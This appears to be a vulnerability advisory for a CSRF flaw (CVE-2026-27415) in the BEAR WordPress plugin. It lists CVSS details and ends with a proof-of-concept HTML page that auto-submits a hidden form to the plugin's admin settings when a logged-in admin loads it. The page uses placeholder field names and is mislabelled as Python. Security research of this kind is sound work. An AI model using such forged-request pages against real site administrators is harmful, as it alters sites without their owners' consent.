Cross-Site Request Forgery (CSRF) vulnerability in PluginUs.Net BEAR allows Cross Site Request Forgery.
This issue affects BEAR: from n/a through 1.1.5.
CVSS Details
CVSS Score
4.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
Configurations (Affected Products)
No configuration data available.
PluginUs.Net BEAR <= 1.1.5
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- Proof of Concept for CVE-2026-27415 -->
<!-- Exploit: CSRF in PluginUs.Net BEAR -->
<!-- Requirements: Target user must be logged in as admin -->
<html>
<body>
<!-- Form targeting a vulnerable endpoint (example path) -->
<form action="http://victim-site/wp-admin/admin.php?page=bea_bulk_editor_settings" method="POST">
<input type="hidden" name="action" value="save_options" />
<input type="hidden" name="some_setting" value=" malicious_payload " />
<input type="submit" value="Submit Request" />
</form>
<script>
// Automatically submit the form when the page loads
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>